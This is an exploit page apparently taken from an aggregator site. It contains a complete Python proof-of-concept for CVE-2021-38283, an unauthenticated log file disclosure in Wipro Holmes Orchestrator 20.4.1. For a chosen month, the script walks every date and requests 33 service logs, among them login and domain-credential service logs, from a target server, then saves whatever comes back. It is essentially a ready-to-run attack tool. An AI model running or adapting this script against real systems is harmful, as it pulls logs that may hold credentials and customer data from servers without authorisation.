Share
## https://sploitus.com/exploit?id=1337DAY-ID-39637
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 - Log File Disclosure
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: Wipro Holmes Orchestrator v20.4.1
# Tested on: Windows
# CVE : CVE-2021-38283

import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

# Change if running on different port
port = 8001
log_list = [
    "AlertService.txt", "ApprovalService.txt", "AuditService.txt", "CustomerController.txt",
    "CustomerDomainCredentialService.txt", "CustomerFile.zip", "CustomerService.txt",
    "DashboardController.txt", "DataParseService.txt", "DomainService.txt", "ExecutionService.txt",
    "ExternalAPIService.txt", "FilesController.txt", "FormService.txt", "InfrastructureService.txt",
    "ITSMConfigPrepService.txt", "LicenseService.txt", "LoginService.txt", "MailService.txt",
    "MasterdataController.txt", "NetworkService.txt", "OrchestrationPreparationService.txt",
    "ProblemInfrastructureService.txt", "ProcessExecutionService.txt", "ServiceRequestService.txt",
    "SolutionController.txt", "SolutionLiveService.txt", "SolutionService.txt", "StorageService.txt",
    "TaskService.txt", "TicketingService.txt", "UserController.txt", "UtilityService.txt"
]

def check_month(val):
    ival = int(val)
    if ival > 0 and ival < 13:
        return ival
    else:
        raise argparse.ArgumentTypeError("%s is not a valid month" % val)

def check_year(val):
    iyear = int(val)
    if iyear >= 1960 and iyear <= datetime.date.today().year:
        return iyear
    else:
        raise argparse.ArgumentTypeError("%s is not a valid year" % val)

def do_request(target, date, log_file):
    log_url = f"http://{target}/log/{date}/{log_file}"
    log_name = f"{date}_{log_file}"
    print(f"[*] Requesting Log: /log/{date}/{log_file}")
    resp = rq.get(log_url)
    if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
        print(f"[+] Success: {log_url}")
        with open(f"logs/{log_name}", 'w') as lf:
            lf.write(resp.text)
        print(f"[*] Log File Written to ./logs/{log_name}")

def main():
    parser = argparse.ArgumentParser(description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
                                     epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick")
    parser.add_argument("-t", "--target-ip", help="IP Address of the target server", required=True)
    parser.add_argument("-m", "--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)
    parser.add_argument("-y", "--year", help="Year of the log", required=True, type=check_year)
    args = parser.parse_args()

    ndays = monthrange(args.year, args.month)[1]
    date_list = [f"{datetime.date(args.year, args.month, day)}" for day in range(1, ndays + 1)]
    target = f"{args.target_ip}:{port}"

    # Create folder "logs" to save log files, if it does not exist
    if not os.path.exists("./logs"):
        os.makedirs("./logs")

    for log_date in date_list:
        for log_file in log_list:
            do_request(target, log_date, log_file)

if __name__ == "__main__":
    main()